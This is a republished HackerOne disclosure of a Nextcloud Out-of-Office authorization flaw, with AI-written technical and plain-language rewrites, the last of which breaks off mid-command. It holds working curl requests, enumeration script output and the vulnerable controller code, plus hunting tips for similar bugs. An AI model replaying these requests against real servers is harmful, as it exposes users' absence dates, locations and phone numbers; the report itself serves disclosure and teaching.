Skip to content
IDOR Disclosed report Beginner

BOLA/IDOR in Out-of-Office API allows any authenticated user to read other users' absence data

The Out-of-Office API endpoints did not check that the authenticated user was requesting their own data, so any logged-in user could read another user's absence dates, personal message, and replacement contact details by changing the user ID in the URL. An attacker could enumerate all users' out-of-office information, exposing travel plans and phone numbers.

cyberjoker Follow

Originally disclosed on HackerOne

Medium 6.5 View original
  • Disclosed after 6 months
## Summary

The Out-of-Office (OOO) API endpoints at `/ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}` and `/ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}/now` suffer from a Broken Object Level Authorization (BOLA) vulnerability. Any authenticated user can retrieve the out-of-office data of any other user by manipulating the `userId` path parameter, without any ownership validation.

The vulnerable endpoints are marked with `#[NoAdminRequired]`, meaning any logged-in user can access them. However, the controller (`OutOfOfficeController.php`) does not verify that the authenticated user is requesting their own data. This allows unauthorized access to sensitive personal information including:

- Vacation start and end dates
- Personal absence messages (which may contain phone numbers, travel destinations, health information)
- Replacement contact user IDs and display names
- Real-time absence status

This violates user privacy expectations and exposes sensitive data that could be used for social engineering, physical security threats (e.g., knowing when someone's home is empty), or corporate intelligence gathering.

---

## Steps To Reproduce

### Prerequisites
- Nextcloud server with version 32.0.0.13 (tested and confirmed vulnerable)
- Two user accounts: "bob" (attacker) and "alice" (victim)
- Alice has configured out-of-office data

### Reproduction Steps

**Step 1**: Create test environment

Set up a Nextcloud 32.0.0 instance with at least two users:

```bash
# Create users via OCC command
export OC_PASS=alice_password_123
docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Alice Johnson" alice

export OC_PASS=bob_password_123
docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Bob Attacker" bob
```

**Step 2**: Generate app passwords for testing

```bash
# Generate token for Alice (victim)
export NC_PASS=alice_password_123
docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password alice --password-from-env

# Output example: 8m3Ea371mGIv21uxXjZfyJCKMxHw3pq7KGxNXiRoGgESGcDEqRfaGMAmplV8HvweKAgZ82CS

# Generate token for Bob (attacker)
export NC_PASS=bob_password_123
docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password bob --password-from-env

# Output example: nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv
```

**Step 3**: Configure Alice's out-of-office data

Using Alice's token, set her out-of-office with sensitive information:

```bash
curl -X POST "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \
  -H "Authorization: Bearer 8m3Ea371mGIv21uxXjZfyJCKMxHw3pq7KGxNXiRoGgESGcDEqRfaGMAmplV8HvweKAgZ82CS" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "firstDay=2025-12-20" \
  -d "lastDay=2026-01-05" \
  -d "status=On vacation" \
  -d "message=Away on family vacation in Aspen. Cell: 1-555-0123."

# Response: HTTP 200 OK - Data configured successfully
```

**Step 4**: Exploit the BOLA vulnerability

As user "bob", request alice's out-of-office data using Bob's token:

```bash
curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \
  -H "Authorization: Bearer nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv" \
  -H "OCS-APIRequest: true"
```

**Expected behavior** (secure): HTTP 403 Forbidden - bob should not be able to access alice's data

**Actual behavior** (vulnerable): HTTP 200 OK with full OOO data:

```json
{
  "ocs": {
    "meta": {
      "status": "ok",
      "statuscode": 200,
      "message": "OK"
    },
    "data": {
      "id": 1,
      "userId": "alice",
      "firstDay": "2025-12-20",
      "lastDay": "2026-01-05",
      "status": "On vacation",
      "message": "Away on family vacation in Aspen. Cell: 1-555-0123.",
      "replacementUserId": "",
      "replacementUserDisplayName": ""
    }
  }
}
```

**VULNERABILITY CONFIRMED**: Bob successfully accessed Alice's private out-of-office data including:
- Vacation dates (December 20, 2025 - January 5, 2026)
- Travel destination (Aspen)
- Personal phone number (1-555-0123)
- 17-day absence period

**Step 5**: Verify real-time status endpoint also vulnerable

```bash
curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice/now" \
  -H "Authorization: Bearer nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv" \
  -H "OCS-APIRequest: true"
```

Returns alice's current absence status without authorization check.

**Step 6**: Mass enumeration demonstration

Automated Python script successfully enumerated multiple users:

```bash
# Using the provided exploit_bola.py script
uv run python exploit_bola.py

# Output:
# ============================================================
# Nextcloud Out-of-Office BOLA Exploit
# ============================================================
# [*] Starting enumeration of 5 users...
# [*] Checking: admin... ❌ No data
# [*] Checking: alice... �
 OUT OF OFFICE FOUND
#     First Day: 2025-12-20
#     Last Day: 2026-01-05
#     Message: Away on family vacation in Aspen. Cell: 1-555-0123.
# [*] Checking: bob... ❌ No data
# [*] Checking: charlie... ❌ No data
# [*] Checking: dave... ❌ No data
#
# [+] Extracted OOO data for 1 users
# [+] Results saved to: ooo_leak.json
```

**Exported Data** (ooo_leak.json):

```json
{
  "alice": {
    "id": 1,
    "userId": "alice",
    "firstDay": "2025-12-20",
    "lastDay": "2026-01-05",
    "status": "On vacation",
    "message": "Away on family vacation in Aspen. Cell: 1-555-0123.",
    "replacementUserId": "",
    "replacementUserDisplayName": ""
  }
}
```

This demonstrates successful mass enumeration and data exfiltration capability.

---

## Supporting Material/References

### Code References

**Vulnerable Controller**: `apps/dav/lib/Controller/OutOfOfficeController.php`

Lines 79-100 (getOutOfOffice method):

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}')]
public function getOutOfOffice(string $userId): DataResponse {
    try {
        // ⚠️ VULNERABILITY: No ownership validation
        // Missing check: if ($this->userId !== $userId) { return new DataResponse([], Http::STATUS_FORBIDDEN); }

        $data = $this->absenceService->getAbsence($userId);

        if ($data === null) {
            return new DataResponse([], Http::STATUS_NOT_FOUND);
        }
    } catch (DoesNotExistException) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    return new DataResponse([
        'id' => $data->getId(),
        'userId' => $data->getUserId(),
        'firstDay' => $data->getFirstDay(),
        'lastDay' => $data->getLastDay(),
        'status' => $data->getStatus(),
        'message' => $data->getMessage(),  // ⚠️ May contain sensitive personal information
        'replacementUserId' => $data->getReplacementUserId(),
        'replacementUserDisplayName' => $data->getReplacementUserDisplayName(),
    ]);
}
```

Lines 52-68 (getCurrentOutOfOfficeData method):

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}/now')]
public function getCurrentOutOfOfficeData(string $userId): DataResponse {
    $user = $this->userManager->get($userId);

    if ($user === null) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    try {
        // ⚠️ VULNERABILITY: No ownership validation
        $data = $this->absenceService->getCurrentAbsence($user);

        if ($data === null) {
            return new DataResponse([], Http::STATUS_NOT_FOUND);
        }
    } catch (DoesNotExistException) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    return new DataResponse($data->jsonSerialize());
}
```

**Route Definitions**: `apps/dav/appinfo/routes.php` (lines 12-18)

**Comparison with Secure Endpoint**:

For reference, the `setOutOfOffice` method (lines 117-168) correctly validates ownership:

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'POST', url: '/api/v1/outOfOffice')]
public function setOutOfOffice(...): DataResponse {
    // �
 SECURE: Gets current user from session
    $user = $this->userSession?->getUser();

    if ($user === null) {
        return new DataResponse([], Http::STATUS_UNAUTHORIZED);
    }

    // Only operates on authenticated user's own data
    $data = $this->absenceService->createOrUpdateAbsence($user, ...);
    return new DataResponse($data->jsonSerialize());
}
```

The GET endpoints should follow the same pattern.

### Lab Environment

I have created and tested a complete Docker-based lab environment:
- **Location**: Attached `testing_lab_and_guides.zip`
- **Platform**: Tested on macOS (Apple Silicon) with Docker Desktop
- **Nextcloud Version**: 32.0.0.13 (confirmed vulnerable)
- **Database**: MariaDB 11.4
- **Setup time**: ~10 minutes
- **Status**: �
 **Vulnerability confirmed in live testing**

## Impact

### Security Impact

An attacker with any authenticated user account can:

1. **Enumerate all users' out-of-office data** across the entire Nextcloud instance
2. **Access sensitive personal information** including:
   - Exact vacation dates (when homes are empty)
   - Personal contact information (phone numbers, alternate emails)
   - Travel destinations and plans
   - Medical or family emergency details
   - Internal replacement contact chains

3. **Monitor real-time absence status** to know when specific users are currently unavailable

### Real-World Attack Scenarios

#### Scenario 1: Physical Security Threat (Home Burglary)
**Likelihood**: MEDIUM-HIGH

- Attacker is a disgruntled employee or external threat with compromised credentials
- Enumerates OOO data for executives and high-value employees
- Discovers: "CEO away Dec 24 - Jan 7, family vacation in Europe"
- Cross-references with public information (LinkedIn, company website) to identify home address
- Plans burglary during confirmed absence period
- **Impact**: Property theft, physical security breach

#### Scenario 2: Social Engineering Amplification
**Likelihood**: HIGH

- Attacker discovers: "Alice on maternity leave until March. Contact HR for urgent matters."
- Uses this context to call HR: "Hi, this is Alice's insurance provider. Need to verify her coverage for the baby..."
- OOO context provides legitimacy and reduces suspicion
- **Impact**: Identity theft, PII disclosure, insurance fraud

#### Scenario 3: Corporate Espionage
**Likelihood**: MEDIUM

- Competitor creates account via public registration (if enabled)
- Enumerates OOO for entire R&D department
- Discovers: "All engineers away Oct 15-20 - attending conference"
- Identifies the conference (probably TechCrunch Disrupt)
- Sends targeted phishing to replacement contacts about "urgent security patch"
- **Impact**: Intellectual property theft, data breach, competitive disadvantage

#### Scenario 4: Stalking / Harassment
**Likelihood**: MEDIUM

- Attacker has personal motivation to track victim
- Continuously monitors victim's OOO status
- Tracks travel patterns: "Every Friday afternoon - yoga retreat", "Vacation in Bali Nov 1-14"
- Uses information for physical stalking or harassment
- **Impact**: Personal safety threat, restraining order violations, psychological harm

#### Scenario 5: Insider Threat Intelligence
**Likelihood**: HIGH

- Low-privilege employee wants to understand organizational dynamics
- Enumerates management team's OOO patterns
- Identifies optimal times for unauthorized activities (when supervisors are absent)
- Maps internal escalation chains via replacement contact fields
- **Impact**: Internal security circumvention, privilege escalation planning

### Privacy & Compliance Impact

#### GDPR (European Union / EEA)

This vulnerability constitutes a **personal data breach** under GDPR Article 4(12) - unauthorized disclosure of personal data.

**Article 32 - Security of Processing**:
- Lack of proper authorization controls constitutes a failure to implement appropriate technical measures
- Organizations must notify supervisory authorities within 72 hours of becoming aware (Article 33)
- Subject to administrative fines under Article 83

**Article 9 - Special Categories of Personal Data** (Conditional):
- OOO messages may contain special-category data (health, family status)
- Examples: "Medical leave for surgery", "Maternity leave", "Family emergency"
- If special-category data is processed without proper safeguards, Article 83(5) penalties apply

**Consequences**:
- Breach notification to supervisory authority required
- Potential notification to affected data subjects
- Administrative fines (tiered based on infringement severity)
- Regulatory scrutiny and reputational damage

#### CCPA/CPRA (California)

**Government Enforcement**:
- Unauthorized disclosure of personal information without proper access controls
- California Attorney General or Privacy Protection Agency may seek civil penalties
- Per-violation fines (differentiated between unintentional and intentional violations)

**Private Right of Action** (Limited):
- Consumer lawsuits apply only for breaches of specific data elements defined in Cal. Civ. Code § 1798.81.5(d)
- Examples: login credentials, SSN, medical/health-insurance information
- Generic OOO data (vacation dates, phone numbers) typically does not trigger private right of action
- Organizations should assess whether exposed data meets statutory thresholds

#### HIPAA (Healthcare - Conditional)

**Applicability**:
- Applies **only** to HIPAA-covered entities (healthcare providers, plans) and business associates
- OOO messages become Protected Health Information (PHI) only when created/held by covered entities
- Many corporate Nextcloud deployments are **not** HIPAA-regulated

**If Applicable**:
- Examples of PHI in OOO: "Out for chemotherapy treatment", "Medical procedure recovery"
- Tiered civil monetary penalties (per violation, inflation-adjusted annually)
- Potential HHS Office for Civil Rights investigation
- Breach notification requirements under HITECH Act

### Business Impact

1. **Workforce Availability Intelligence**: Competitors can track key personnel availability
2. **Executive Vulnerability Mapping**: Identify high-value targets and their schedules
3. **Internal Contact Chain Discovery**: Map organizational structure via replacement users
4. **Operational Security Failure**: Enemies know when specific users are unavailable
5. **Trust Violation**: Users expect privacy in personal absence information

### Technical Impact Summary

| Impact Category | Severity | Description |
|-----------------|----------|-------------|
| **Confidentiality** | **HIGH** | Complete disclosure of target user's OOO data |
| **Integrity** | None | No data modification through this vulnerability |
| **Availability** | None | No service disruption |
| **Privacy** | **CRITICAL** | Personal information, travel plans, contact details exposed |
| **Compliance** | **HIGH** | GDPR breach notification requirements, potential regulatory fines |
| **Physical Security** | **MEDIUM** | Home burglary intelligence via absence dates |

The original report as published on HackerOne, by cyberjoker. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

## Context

Nextcloud exposes an Out-of-Office (OOO) feature through the DAV app. Two OCS endpoints serve absence data:

- `/ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}` returns the stored absence record for a user.
- `/ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}/now` returns the user's current absence status.

Both take the target user's ID as a path parameter and are annotated `#[NoAdminRequired]`, so any logged-in account can reach them. The report shows that the controller never checks whether the caller is the user named in the path, so the `userId` parameter can be pointed at anyone.

## Setup

The researcher tested against Nextcloud server [redacted], confirmed vulnerable, running in a Docker-based lab on macOS (Apple Silicon) with Docker Desktop and MariaDB 11.4. The lab is described as taking about 10 minutes to set up and is attached to the report as `testing_lab_and_guides.zip`.

Preconditions:

- A Nextcloud instance with at least two accounts: `bob` (attacker) and `alice` (victim).
- Alice has configured out-of-office data.
- Bob holds any valid authenticated session or app password.

## Finding it

The two GET handlers in `apps/dav/lib/Controller/OutOfOfficeController.php` accept a `userId` from the URL and pass it straight to the absence service. Nothing in the method compares that value with the identity of the caller. The `#[NoAdminRequired]` attribute only removes the admin requirement; it does not add an ownership check. The POST handler that writes absence data does the opposite: it takes the user from the session and never from the request, which is the pattern the GET handlers should have followed.

## Exploitation

### Step 1: Create the test users

```bash
# Create users via OCC command
export OC_PASS=alice_password_123
docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Alice Johnson" alice

export OC_PASS=bob_password_123
docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Bob Attacker" bob
```

`occ user:add` creates the two accounts inside the container, with the passwords supplied through the environment rather than on the command line.

### Step 2: Generate app passwords

```bash
# Generate token for Alice (victim)
export NC_PASS=alice_password_123
docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password alice --password-from-env

# Output example: [redacted]

# Generate token for Bob (attacker)
export NC_PASS=bob_password_123
docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password bob --password-from-env

# Output example: [redacted]
```

App passwords give each account a bearer token for the OCS API, which is what the following `curl` calls use.

### Step 3: Configure Alice's absence data

```bash
curl -X POST "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \
  -H "Authorization: Bearer [redacted]" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "firstDay=2025-12-20" \
  -d "lastDay=2026-01-05" \
  -d "status=On vacation" \
  -d "message=Away on family vacation in Aspen. Cell: 1-555-0123."

# Response: HTTP 200 OK - Data configured successfully
```

Alice writes her own record with her own token. The message deliberately contains data a real user might put there: a destination and a phone number. The response is HTTP 200.

### Step 4: Read Alice's data as Bob

```bash
curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \
  -H "Authorization: Bearer [redacted]" \
  -H "OCS-APIRequest: true"
```

Bob's token is used, but the path still names `alice`. Expected behaviour is HTTP 403 Forbidden. Actual behaviour is HTTP 200 with the full record:

```json
{
  "ocs": {
    "meta": {
      "status": "ok",
      "statuscode": 200,
      "message": "OK"
    },
    "data": {
      "id": 1,
      "userId": "alice",
      "firstDay": "2025-12-20",
      "lastDay": "2026-01-05",
      "status": "On vacation",
      "message": "Away on family vacation in Aspen. Cell: 1-555-0123.",
      "replacementUserId": "",
      "replacementUserDisplayName": ""
    }
  }
}
```

The response confirms the leak: vacation dates from 20 December 2025 to 5 January 2026, the destination Aspen, the phone number and the 17-day absence period. The `replacementUserId` and `replacementUserDisplayName` fields are empty in this record.

### Step 5: Check the real-time endpoint

```bash
curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice/now" \
  -H "Authorization: Bearer [redacted]" \
  -H "OCS-APIRequest: true"
```

The `/now` variant returns Alice's current absence status to Bob, again without an authorisation check.

### Step 6: Enumerate users at scale

The researcher ran an automated Python script, `exploit_bola.py`, against a list of five users:

```bash
# Using the provided exploit_bola.py script
uv run python exploit_bola.py

# Output:
# ============================================================
# Nextcloud Out-of-Office BOLA Exploit
# ============================================================
# [*] Starting enumeration of 5 users...
# [*] Checking: admin... ❌ No data
# [*] Checking: alice... �
 OUT OF OFFICE FOUND
#     First Day: 2025-12-20
#     Last Day: 2026-01-05
#     Message: Away on family vacation in Aspen. Cell: 1-555-0123.
# [*] Checking: bob... ❌ No data
# [*] Checking: charlie... ❌ No data
# [*] Checking: dave... ❌ No data
#
# [+] Extracted OOO data for 1 users
# [+] Results saved to: ooo_leak.json
```

 The exported file:

```json
{
  "alice": {
    "id": 1,
    "userId": "alice",
    "firstDay": "2025-12-20",
    "lastDay": "2026-01-05",
    "status": "On vacation",
    "message": "Away on family vacation in Aspen. Cell: 1-555-0123.",
    "replacementUserId": "",
    "replacementUserDisplayName": ""
  }
}
```

This demonstrates mass enumeration and exfiltration of the data in a single run.

## Root cause

The vulnerable read handler:

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}')]
public function getOutOfOffice(string $userId): DataResponse {
    try {
        // ⚠️ VULNERABILITY: No ownership validation
        // Missing check: if ($this->userId !== $userId) { return new DataResponse([], Http::STATUS_FORBIDDEN); }

        $data = $this->absenceService->getAbsence($userId);

        if ($data === null) {
            return new DataResponse([], Http::STATUS_NOT_FOUND);
        }
    } catch (DoesNotExistException) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    return new DataResponse([
        'id' => $data->getId(),
        'userId' => $data->getUserId(),
        'firstDay' => $data->getFirstDay(),
        'lastDay' => $data->getLastDay(),
        'status' => $data->getStatus(),
        'message' => $data->getMessage(),  // ⚠️ May contain sensitive personal information
        'replacementUserId' => $data->getReplacementUserId(),
        'replacementUserDisplayName' => $data->getReplacementUserDisplayName(),
    ]);
}
```

and the real-time handler:

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}/now')]
public function getCurrentOutOfOfficeData(string $userId): DataResponse {
    $user = $this->userManager->get($userId);

    if ($user === null) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    try {
        // ⚠️ VULNERABILITY: No ownership validation
        $data = $this->absenceService->getCurrentAbsence($user);

        if ($data === null) {
            return new DataResponse([], Http::STATUS_NOT_FOUND);
        }
    } catch (DoesNotExistException) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    return new DataResponse($data->jsonSerialize());
}
```

Both trust the `userId` path parameter as the subject of the query. The only checks are existence checks: a missing record or unknown user yields 404. The routes are registered in `apps/dav/appinfo/routes.php` (lines 12-18).

The write handler in the same controller shows the correct pattern:

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'POST', url: '/api/v1/outOfOffice')]
public function setOutOfOffice(...): DataResponse {
    // �
 SECURE: Gets current user from session
    $user = $this->userSession?->getUser();

    if ($user === null) {
        return new DataResponse([], Http::STATUS_UNAUTHORIZED);
    }

    // Only operates on authenticated user's own data
    $data = $this->absenceService->createOrUpdateAbsence($user, ...);
    return new DataResponse($data->jsonSerialize());
}
```

It derives the subject from the session and never from the request, so a caller can only write their own record. The GET handlers should follow the same approach. `#[NoAdminRequired]` is not a defence here: it is an authorisation relaxation that assumes the controller will do its own object-level check, and the controller does not.

## Impact

Any authenticated account can enumerate the out-of-office data of every user on the instance and read, per user:

- vacation start and end dates;
- the personal absence message, which may contain phone numbers, travel destinations or health information;
- replacement contact user IDs and display names;
- real-time absence status via the `/now` endpoint.

The report frames the consequences as social engineering, physical security threats (knowing when a home is empty) and corporate intelligence gathering. It lists five scenarios with its own likelihood ratings:

1. Physical security, rated MEDIUM-HIGH: enumerate executives' absence dates, cross-reference public information to find a home address and plan a burglary during a confirmed absence.
2. Social engineering, rated HIGH: use a discovered message such as maternity leave to impersonate an insurance provider calling HR.
3. Corporate espionage, rated MEDIUM: a competitor with a self-registered account enumerates an R&D department, learns when engineers are at a conference and phishes replacement contacts.
4. Stalking or harassment, rated MEDIUM: continuous monitoring of a victim's status and travel patterns.
5. Insider threat, rated HIGH: a low-privilege employee maps management absence patterns and escalation chains through replacement fields.

The report also discusses compliance exposure. Under GDPR it treats the flaw as a personal data breach under Article 4(12), a failure of Article 32 security of processing with the 72-hour notification duty of Article 33 and fines under Article 83; Article 9 special-category data may be involved when messages mention health or family status, which would bring Article 83(5) penalties. For CCPA/CPRA it notes possible government enforcement and civil penalties, while private right of action is limited to the specific data elements in Cal. Civ. Code § 1798.81.5(d), so generic vacation dates and phone numbers typically do not trigger it. HIPAA applies only to covered entities and business associates, and many corporate Nextcloud deployments are not HIPAA-regulated; where it does apply, messages such as chemotherapy leave become PHI with tiered civil monetary penalties and HITECH breach notification.

The report's own technical summary rates confidentiality HIGH, privacy CRITICAL, compliance HIGH and physical security MEDIUM, with no integrity or availability impact. The platform records the issue as medium severity with a CVSS score of 6.5.

## Fix

The report does not describe a patch. What it asks for is the ownership check the code comment spells out: compare the authenticated user with the `userId` path parameter and return `Http::STATUS_FORBIDDEN` on mismatch, in both `getOutOfOffice` and `getCurrentOutOfOfficeData`. The alternative, matching the secure write handler, is to drop the path parameter for the caller's own record and take the user from `$this->userSession?->getUser()`.

## Variants to test

- Other DAV and OCS endpoints that take a user ID in the path or query string. A positive result is a 200 with another account's data while authenticated as a different user.
- The `/now` style sub-resource on any feature (status, availability, calendar free/busy). A positive result is a live status for a user you do not own.
- Write endpoints that accept a user identifier in the body rather than the session. A positive result is a successful modification of another account's record.
- Existence oracles: compare 404 and 403 responses across known and unknown usernames to see whether account or record existence can be enumerated even after the data itself is protected.
- Replacement contact fields: check whether a replacement user ID can be set to an account the caller does not control, and whether that leaks anything about the replacement.

## Hunting notes

This class of bug hides in features that were added with a per-user resource and a path parameter, especially where the same controller has a correctly scoped write method: the asymmetry between the POST handler reading the session and the GET handlers reading the URL is the signal. `#[NoAdminRequired]` on a handler that takes an object identifier is worth a second look, because the attribute only says the caller need not be an admin, not that the object belongs to them.

During recon, look for OCS routes of the form `/apps/<app>/api/v1/<resource>/{userId}` and for controllers whose methods accept a user ID argument. Reading the controller source, as the researcher did here, is usually enough to spot the missing comparison before any request is sent.

To show impact, the researcher combined a two-account proof (Bob reading Alice's record with Bob's token) with a scripted enumeration over several usernames and an exported JSON file, and populated the victim's message with realistic sensitive content so the disclosure was concrete rather than theoretical. The report also maps the data to compliance frameworks.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

## What happened, in plain words

Nextcloud is a piece of software that organisations install on their own servers to share files, calendars and contacts, a bit like running your own private version of Google Drive or Microsoft 365. One of its features is called Out-of-Office, or OOO. When you are going on holiday or taking leave, you can tell Nextcloud that you are away, from which date to which date, what message colleagues should see, and who is covering for you. Think of it like the note you stick on your office door, except it lives inside the software and colleagues can look it up.

The problem described in this report is that the part of Nextcloud that hands out that note does not check who is asking. Any person with a login to the Nextcloud server can ask for anybody else's note and get it back. In security language this is called a Broken Object Level Authorization, or BOLA, and it is also known as an Insecure Direct Object Reference, or IDOR. Both names describe the same everyday mistake: the software receives a request that names a specific thing (here, a user's absence record) and hands it over without first asking "are you allowed to see this particular thing?".

A useful comparison is a hotel. The reception desk can look up any room's booking, which is fine, because the receptionist is authorised to do that. Now imagine the hotel gives every guest a key card that opens the front door, and the guest can simply say "room 214" at the desk and be handed the guest list for that room. The front door check (are you a guest?) passed, but the per-room check (is this your room?) never happened. That is exactly the shape of this bug: the login check passes, the ownership check is missing.

The report was filed against the Nextcloud server project and the platform records it as medium severity with a CVSS score of 6.5. The researcher is credited as cyberjoker and the report was disclosed on 14 April 2026.

## Context

Before the steps, a few words about the pieces involved, because the rest of the article uses them constantly.

An **API** is a way for one piece of software to talk to another. When you click around in a web page, your browser is often quietly asking the server for data through an API and then drawing the result on screen. The API is the serving hatch: you pass in a request, you get structured data back, usually in a format called JSON, which looks like a set of labelled boxes with values inside.

Nextcloud has two API styles in play here. **OCS** is Nextcloud's own API convention, and you can recognise its URLs because they contain `/ocs/`. **DAV** is a standard way of exposing calendars, contacts and similar resources, and Nextcloud's DAV app is where the Out-of-Office feature lives. The two endpoints in this report are OCS endpoints served by the DAV app, which is why the path contains both `/ocs/` and `/apps/dav/`.

An **endpoint** is simply one address on the server that accepts a particular kind of request. The two endpoints here are:

- `/ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}` returns the stored absence record for a user.
- `/ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}/now` returns the user's current absence status.

The `{userId}` part is a placeholder. In a real request you replace it with an actual username, so `/outOfOffice/alice` asks for Alice's record. This is called a **path parameter**: a value baked into the address itself, rather than sent separately.

Both endpoints are marked `#[NoAdminRequired]`. That is a label in the source code that tells Nextcloud "an ordinary logged-in user is allowed to call this, it does not have to be an administrator". It is a relaxation of one rule (you do not need to be an admin) and it says nothing at all about which records the caller may see. The report's point is that the code relied on this label and never added the second, more important check.

 The report shows that the controller, which is the piece of code that handles the request, never checks whether the caller is the user named in the path. So the `userId` parameter can be pointed at anyone.

## Setup

The researcher tested against Nextcloud server [redacted], confirmed vulnerable, running in a Docker-based lab on macOS (Apple Silicon) with Docker Desktop and MariaDB 11.4. Docker is a tool that runs software in isolated boxes called containers, so you can build a throwaway copy of a server on your own laptop without touching anything real. MariaDB is the database that stores the data. The lab is described as taking about 10 minutes to set up and is attached to the report as `testing_lab_and_guides.zip`.

The preconditions were:

- A Nextcloud instance with at least two accounts: `bob` (attacker) and `alice` (victim).
- Alice has configured out-of-office data.
- Bob holds any valid authenticated session or app password.

Two accounts are the minimum because the whole bug is about one account reaching another account's data. If you only had one user, you could not demonstrate that the boundary is missing.

## Finding it

The two GET handlers in `apps/dav/lib/Controller/OutOfOfficeController.php` accept a `userId` from the URL and pass it straight to the absence service. A **handler** is the function that runs when a request arrives at an endpoint. **GET** is the HTTP method used for reading something, as opposed to POST, which is used for sending or changing something. The **absence service** is the internal part of Nextcloud that actually fetches absence records from the database.

Nothing in the method compares that `userId` value with the identity of the caller. The `#[NoAdminRequired]` attribute only removes the admin requirement; it does not add an ownership check. The POST handler that writes absence data does the opposite: it takes the user from the session and never from the request, which is the pattern the GET handlers should have followed. A **session** is the server's memory of who you are once you have logged in; it is tied to your browser or your token, not to anything you type into a URL. Taking the identity from the session is safe because the user cannot forge it. Taking it from the URL is unsafe because the user controls the URL completely.

## Exploitation

### Step 1: Create the test users

```bash
# Create users via OCC command
export OC_PASS=alice_password_123
docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Alice Johnson" alice

export OC_PASS=bob_password_123
docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Bob Attacker" bob
```

Line by line:

- `# Create users via OCC command` is a comment, ignored when the commands run.
- `export OC_PASS=alice_password_123` puts Alice's password into an environment variable called `OC_PASS`. An **environment variable** is a named value that a program can read, a bit like a sticky note passed to the program instead of written on the command itself.
- `docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add ...` runs a command inside the running Nextcloud container. `docker exec` means "execute this inside the container". `-e OC_PASS` passes the environment variable through. `-u www-data` runs as the web server user. `nextcloud-app` is the container's name. `php occ user:add` is Nextcloud's own administration command for adding a user. `--password-from-env` tells it to read the password from the environment variable rather than the command line. `--display-name="Alice Johnson"` sets the human-friendly name. The final `alice` is the username.
- The same block repeats for `bob` with his own password and display name.

Why this step: you need two ordinary accounts to show that one can reach the other's data. Using `occ` is the standard way to create users on a Nextcloud server you administer, and passing the password through the environment keeps it off the command line where other users on the machine might see it in a process list.

### Step 2: Generate app passwords

```bash
# Generate token for Alice (victim)
export NC_PASS=alice_password_123
docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password alice --password-from-env

# Output example: [redacted]

# Generate token for Bob (attacker)
export NC_PASS=bob_password_123
docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password bob --password-from-env

# Output example: [redacted]
```

Line by line:

- `export NC_PASS=alice_password_123` stores Alice's password in a variable named `NC_PASS`.
- `docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password alice --password-from-env` runs Nextcloud's command for creating an app password for the user `alice`, again reading the account password from the environment.
- The `# Output example:` lines show what such a token looks like. A **token** is a long random string that acts like a temporary key. Instead of sending your username and password with every request, you send the token. If the token leaks, you can revoke it without changing your password. An **app password** is exactly this: a token created for a specific application or script.
- The same is done for `bob`.

Why this step: the following `curl` calls need to prove who they are. `curl` is a command-line tool for making web requests, and it cannot log in through a browser form, so a token is the simplest way to authenticate. Each account gets its own token so the test can clearly show which account is making which request.

### Step 3: Configure Alice's absence data

```bash
curl -X POST "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \
  -H "Authorization: Bearer [redacted]" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "firstDay=2025-12-20" \
